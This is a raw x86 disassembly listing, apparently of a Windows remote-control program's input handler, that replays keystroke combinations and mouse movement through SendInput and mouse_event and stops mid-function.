push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 9
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x10
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x10
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x20
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x20
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x2e
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x5340fc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x2e
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cec4c
push eax
mov eax, dword [0x534318]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov dword [ebp - 0x7c4], 1
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7b8], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7b4], eax
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d7040.10
jmp dword [eax*4 + 0x4d89bc]
mov word [ebp - 0x7c0], 0x12
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 9
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 9
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x12
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d7040.10
mov word [ebp - 0x7c0], 0x12
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x1b
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x1b
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x12
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d7040.10
mov word [ebp - 0x7c0], 0x11
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x1b
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x1b
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x11
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d7040.10
mov word [ebp - 0x7c0], 0x11
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x10
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x10
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x11
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d7040.10
mov word [ebp - 0x7c0], 0x11
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x20
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x20
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x11
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d7040.10
mov word [ebp - 0x7c0], 0x11
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x12
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x2e
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x2e
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x12
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x11
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d7040.10
cmp byte [0x532ffc], 1
jb case.0x4d7040.10
cmp dword [0x53b3e0], 0xb43e
ja case.0x4d7040.10
mov eax, dword [0x532ef8]
mov dword [0x532f08], eax
mov eax, dword [0x532efc]
mov dword [0x532f0c], eax
mov esi, 0x8000
lea eax, [ebx + 0x20]
mov dword [0x53b564], eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x200
jg 0x4d8f0c
je 0x4d8f67
cmp eax, 0xa4
jg 0x4d8ef4
je 0x4d8f85
sub eax, 0x84
je 0x4d8f6c
sub eax, 0x1c
je 0x4d8f8f
dec eax
je 0x4d8f71
dec eax
je 0x4d8f76
jmp case.0x4d8f1a.515
sub eax, 0xa5
je 0x4d8f8a
sub eax, 2
je 0x4d8f7b
dec eax
je 0x4d8f80
jmp case.0x4d8f1a.515
add eax, 0xfffffdff
cmp eax, 9
ja case.0x4d8f1a.515
jmp dword [eax*4 + 0x4d8f21]
or esi, 2
jmp case.0x4d8f1a.515
or esi, 4
jmp case.0x4d8f1a.515
or esi, 0x20
jmp case.0x4d8f1a.515
or esi, 0x40
jmp case.0x4d8f1a.515
or esi, 8
jmp case.0x4d8f1a.515
or esi, 0x10
jmp case.0x4d8f1a.515
or esi, 1
jmp case.0x4d8f1a.515
or esi, 1
jmp case.0x4d8f1a.515
or esi, 2
jmp case.0x4d8f1a.515
or esi, 4
jmp case.0x4d8f1a.515
or esi, 0x20
jmp case.0x4d8f1a.515
or esi, 0x40
jmp case.0x4d8f1a.515
or esi, 8
jmp case.0x4d8f1a.515
or esi, 0x10
jmp case.0x4d8f1a.515
or esi, 1
jmp case.0x4d8f1a.515
or esi, 0x800
mov eax, dword [0x53b564]
mov edx, dword [0x53b510]
add dword [eax], edx
mov eax, dword [0x53b564]
mov edx, dword [0x53b514]
add dword [eax + 4], edx
cmp dword [0x53b2ec], 0
jle 0x4d906f
mov eax, dword [0x53b2ec]
add eax, eax
inc eax
call fcn.0040307c
sub eax, dword [0x53b2ec]
mov edx, dword [0x53b564]
add dword [edx], eax
mov eax, dword [0x53b2ec]
add eax, eax
inc eax
call fcn.0040307c
sub eax, dword [0x53b2ec]
mov edx, dword [0x53b564]
add dword [edx + 4], eax
mov eax, dword [0x53b564]
mov eax, dword [eax]
cmp eax, dword [0x53b510]
jge 0x4d9015
mov eax, dword [0x53b564]
mov edx, dword [0x53b510]
mov dword [eax], edx
mov eax, dword [0x53b564]
mov eax, dword [eax]
cmp eax, dword [0x53b518]
jl 0x4d9032
mov eax, dword [0x53b518]
dec eax
mov edx, dword [0x53b564]
mov dword [edx], eax
mov eax, dword [0x53b564]
mov eax, dword [eax + 4]
cmp eax, dword [0x53b514]
jge 0x4d9050
mov eax, dword [0x53b564]
mov edx, dword [0x53b514]
mov dword [eax + 4], edx
mov eax, dword [0x53b564]
mov eax, dword [eax + 4]
cmp eax, dword [0x53b51c]
jl 0x4d906f
mov eax, dword [0x53b51c]
dec eax
mov edx, dword [0x53b564]
mov dword [edx + 4], eax
mov eax, dword [0x53b564]
mov eax, dword [eax]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x533544]
sub edx, dword [0x53353c]
dec edx
mov ecx, edx
cdq
idiv ecx
mov edi, eax
mov eax, dword [0x53b564]
mov eax, dword [eax + 4]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x533548]
sub edx, dword [0x533540]
dec edx
mov ecx, edx
cdq
idiv ecx
mov dword [ebp - 0x4c], eax
cmp dword [0x53b2dc], 0
je 0x4d90cf
mov eax, edi
imul dword [0x53b2d8]
cdq
idiv dword [0x53b2dc]
mov edi, eax
cmp dword [0x53b2e4], 0
je 0x4d90eb
mov eax, dword [ebp - 0x4c]
imul dword [0x53b2e0]
cdq
idiv dword [0x53b2e4]
mov dword [ebp - 0x4c], eax
cmp dword [ebx + 0x10], 0x20a
jne 0x4d9101
mov eax, dword [0x53b564]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x44], eax
jmp 0x4d9106
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [0x534338]
cmp dword [eax], 0
jne 0x4d9115
call fcn.004cd4f8
mov eax, dword [0x53425c]
cmp dword [eax], 0
jne 0x4d9124
call fcn.004ce818
mov eax, dword [0x534418]
cmp dword [eax], 0
jne 0x4d9133
call fcn.004cef74
mov eax, dword [0x534338]
cmp dword [eax], 0
jle 0x4d9269
cmp dword [ebx + 0x10], 0x20a
je 0x4d9164
mov eax, dword [0x53b564]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x53b564]
mov eax, dword [eax]
push eax
mov eax, dword [0x534230]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d91a5
je case.0x4d917e.161
add eax, 0xffffff5f
cmp eax, 7
ja case.0x4d7040.10
jmp dword [eax*4 + 0x4d9185]
add eax, 0xfffffdfe
cmp eax, 8
ja case.0x4d7040.10
jmp dword [eax*4 + 0x4d91ba]
push 1
mov eax, dword [0x5346c8]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
push 2
mov eax, dword [0x5346c8]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
push 0x10
mov eax, dword [0x5346c8]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
push 0x20
mov eax, dword [0x5346c8]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
push 4
mov eax, dword [0x5346c8]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
push 8
mov eax, dword [0x5346c8]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov eax, dword [0x53b564]
cmp dword [eax + 0x10], 0
jle 0x4d9259
push 1
mov eax, dword [0x534314]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
push 2
mov eax, dword [0x534314]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov eax, dword [0x53425c]
cmp dword [eax], 0
jle 0x4d93d4
cmp dword [ebx + 0x10], 0x20a
je 0x4d9305
mov eax, dword [0x532fe8]
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, dword [0x53b5d4]
jne 0x4d92a8
mov eax, dword [0x532fe8]
mov edx, dword [eax]
call dword [edx + 0x20]
cmp eax, dword [0x53b5d8]
je 0x4d92e3
mov eax, dword [0x532fe8]
mov edx, dword [eax]
call dword [edx + 0x2c]
mov dword [0x53b5d4], eax
mov eax, dword [0x532fe8]
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [0x53b5d8], eax
mov eax, dword [0x53b5d8]
push eax
mov eax, dword [0x53b5d4]
push eax
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x534518]
mov eax, dword [eax]
call eax
mov eax, dword [0x53b564]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x53b564]
mov eax, dword [eax]
push eax
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53456c]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d9328
je 0x4d9341
sub eax, 0xa1
je 0x4d9341
dec eax
je 0x4d9357
sub eax, 2
je 0x4d936d
dec eax
je 0x4d9383
jmp case.0x4d7040.10
sub eax, 0x202
je 0x4d9357
sub eax, 2
je 0x4d936d
dec eax
je 0x4d9383
sub eax, 5
je 0x4d9399
jmp case.0x4d7040.10
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53464c]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x534854]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5341a8]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x5343e4]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov eax, dword [0x53b564]
cmp dword [eax + 0x10], 0
jle 0x4d93bc
push 1
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53491c]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
push 0xffffffffffffffff
mov eax, dword [0x534930]
mov eax, dword [eax]
push eax
mov eax, dword [0x53491c]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov eax, dword [0x534418]
cmp dword [eax], 0
jle 0x4d94a4
cmp dword [ebx + 0x10], 0x20a
je 0x4d9405
mov eax, dword [0x53b564]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x53b564]
mov eax, dword [eax]
push eax
mov eax, dword [0x5346c4]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d9428
je 0x4d9441
sub eax, 0xa1
je 0x4d9441
dec eax
je 0x4d944f
sub eax, 2
je 0x4d945d
dec eax
je 0x4d946b
jmp case.0x4d7040.10
sub eax, 0x202
je 0x4d944f
sub eax, 2
je 0x4d945d
dec eax
je 0x4d946b
sub eax, 5
je 0x4d9479
jmp case.0x4d7040.10
mov eax, dword [0x5347b8]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov eax, dword [0x5349f4]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov eax, dword [0x534310]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov eax, dword [0x5345b0]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
mov eax, dword [0x53b564]
cmp dword [eax + 0x10], 0
jle 0x4d9494
push 1
mov eax, dword [0x5340e8]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
push 0xffffffffffffffff
mov eax, dword [0x5340e8]
mov eax, dword [eax]
call eax
jmp case.0x4d7040.10
cmp dword [ebx + 0x10], 0x200
je 0x4d94c4
push 0
push 0
mov eax, dword [ebp - 0x4c]
inc eax
push eax
lea eax, [edi + 1]
push eax
push 0x8001
call sub.user32.dll_mouse_event
cmp dword [ebx + 0x10], 0x20a
jne 0x4d94e9
push 0
mov eax, dword [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x4c]
inc eax
push eax
inc edi
push edi
push 0x8800
call sub.user32.dll_mouse_event
jmp case.0x4d7040.10
xor eax, eax
mov dword [ebp - 0x7c4], eax
mov dword [ebp - 0x7b4], esi
inc edi
mov dword [ebp - 0x7c0], edi
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x7bc], eax
xor eax, eax
mov dword [ebp - 0x7b8], eax
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7b0], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d7040.10
cmp dword [0x532f38], 0x52503ff
jb case.0x4d7040.10
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x91c]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0x91c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x920]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x920]
call fcn.004093f8
mov dword [0x53b34c], eax
mov eax, dword [ebp - 0x24]
call fcn.00403770
mov eax, dword [0x53b34c]
add eax, 0x5b
cmp eax, dword [0x53b3e0]
jae 0x4d95dc
push 0
push 0x3e8
mov eax, dword [0x532ef8]
mov edx, dword [0x532efc]
call fcn.00405910
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d95dc
cmp eax, 0
je case.0x4d7040.10
mov ax, word [ebx + 0x1c]
and ax, 0xffff
mov word [0x53b384], ax
mov eax, dword [ebx + 0x1c]
shr eax, 0x10
and eax, 0x1f
mov esi, dword [eax*4 + 0x533494]
mov eax, dword [ebx + 0x1c]
shr eax, 0x18
and al, 1
mov byte [0x53b3e8], al
mov eax, dword [ebx + 0x1c]
shr eax, 0x19
and al, 1
cmp al, 1
jne 0x4d961a
mov byte [0x532fb4], 0xff
mov byte [0x532ffc], 0
xor eax, eax
mov dword [0x53b5d4], eax
jmp 0x4d9636
call fcn.004d621c
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5345dc]
cmp dword [eax], 0
jg 0x4d962a
cmp byte [ebx + 0xc], 0x87
setne al
neg al
sbb eax, eax
mov byte [0x532fc8], al
cmp byte [0x532fc8], 0
je 0x4d9701
mov byte [0x53b3b0], 0
mov eax, dword [ebx + 0x10]
mov dword [0x53b3a4], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53b3a8], eax
mov eax, dword [ebx + 0x18]
shr eax, 0xc
and al, 0xf
mov byte [0x532ff4], al
cmp byte [0x53b3b1], 0
jle 0x4d9696
mov al, byte [0x53b3b1]
mov byte [0x532ff8], al
jmp 0x4d96a8
mov eax, dword [ebx + 0x18]
shr eax, 8
and al, 0xf
mov byte [0x532ff8], al
call fcn.004d2528
mov al, byte [ebx + 0x18]
and al, 0xf
mov byte [0x53b398], al
test esi, esi
jle 0x4d96c7
mov eax, esi
call fcn.004d628c
shl eax, 2
mov dword [0x532ff0], eax
jmp 0x4d96d6
mov eax, esi
call fcn.004d628c
shl eax, 3
mov dword [0x532ff0], eax
mov eax, dword [0x532ff0]
test eax, eax
jns 0x4d96e2
add eax, 3
sar eax, 2
call fcn.0040307c
mov edx, eax
neg eax
add eax, eax
mov dword [0x532fdc], eax
mov byte [0x53b3e8], 1
jmp 0x4d97a8
mov al, byte [ebx + 0x10]
and al, 0xff
mov byte [0x53b3b0], al
mov eax, dword [ebx + 0x14]
shr eax, 0xc
and al, 0xf
mov byte [0x532ff4], al
cmp byte [0x532ff4], 2
jne 0x4d9738
call fcn.0046e8ec
fcomp dword [0x4dc9b4]
fnstsw ax
sahf
jbe 0x4d9738
mov byte [0x532ff4], 3
cmp byte [0x53b3b1], 0
jle 0x4d974d
mov al, byte [0x53b3b1]
mov byte [0x532ff8], al
jmp 0x4d975f
mov eax, dword [ebx + 0x14]
shr eax, 8
and al, 0xf
mov byte [0x532ff8], al
call fcn.004d2528
mov al, byte [ebx + 0x14]
and al, 0xf
mov byte [0x53b398], al
cmp dword [0x53b3e0], 0xb43e
ja 0x4d9783
mov eax, esi
call fcn.004d628c
mov dword [0x532ff0], eax
jmp 0x4d978d
mov dword [0x532ff0], 0x3e8
mov dword [0x532fdc], 0xfffffffe
call sub.user32.dll_GetClipboardSequenceNumber
mov dword [0x533520], eax
xor eax, eax
mov dword [0x53b3b4], eax
cmp byte [0x53b3e8], 0
je 0x4d97ba
cmp byte [0x53b3e9], 0
je 0x4d97da
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004af8e4
test al, al
je 0x4d97da
call fcn.004afa94
cmp byte [0x532ff8], 3
je 0x4d97e8
call fcn.004cb60c
cmp byte [0x532ff8], 4
je 0x4d97f6
call fcn.004ccf2c
cmp dword [0x53b538], 3
jne 0x4d9833
movsx eax, byte [0x532fb4]
mov edx, dword [0x532ff0]
call fcn.004cc350
cmp byte [0x532ff8], 5
je 0x4d9824
or eax, 0xffffffff
call fcn.004cc2b8
jmp 0x4d9858
mov edx, 2
or eax, 0xffffffff
call fcn.004cc2e4
jmp 0x4d9858
cmp byte [0x532ff8], 5
je 0x4d9843
call fcn.004cbc80
jmp 0x4d9858
mov eax, dword [0x534744]
cmp dword [eax], 0xffffffd8
jge 0x4d9858
mov eax, dword [0x534744]
mov dword [eax], 0xffffffd8
cmp byte [0x532fb8], 0
jne 0x4d9a3d
mov dl, 1
mov eax, dword [0x4221e0]
call fcn.0042881c
mov dword [0x53b39c], eax
mov dl, 7
mov eax, dword [0x53b39c]
call fcn.00429d94
mov dl, 1
mov eax, dword [0x4221e0]
call fcn.0042881c
mov dword [0x53b3a0], eax
mov dl, 7
mov eax, dword [0x53b3a0]
call fcn.00429d94
cmp dword [0x532fcc], 0
jne 0x4d98b9
mov dl, 1
mov eax, dword [0x41448c]
call fcn.00403740
mov dword [0x532fcc], eax
cmp dword [0x532fd0], 0
jne 0x4d98d3
mov dl, 1
mov eax, dword [0x470a74]
call fcn.00470c0c
mov dword [0x532fd0], eax
cmp dword [0x532fd4], 0
jne 0x4d98ed
mov dl, 1
mov eax, dword [0x414de0]
call fcn.00403740
mov dword [0x532fd4], eax
mov eax, dword [0x534a54]
cmp dword [eax], 0
jne 0x4d990b
mov dl, 1
mov eax, dword [0x41448c]
call fcn.00403740
mov edx, dword [0x534a54]
mov dword [edx], eax
mov eax, dword [0x534440]
cmp dword [eax], 0
jne 0x4d9929
mov dl, 1
mov eax, dword [0x470a74]
call fcn.00470c0c
mov edx, dword [0x534440]
mov dword [edx], eax
mov eax, dword [0x534118]
cmp dword [eax], 0
jne 0x4d9947
mov dl, 1
mov eax, dword [0x41448c]
call fcn.00403740
mov edx, dword [0x534118]
mov dword [edx], eax
mov eax, dword [0x5344ec]
cmp dword [eax], 0
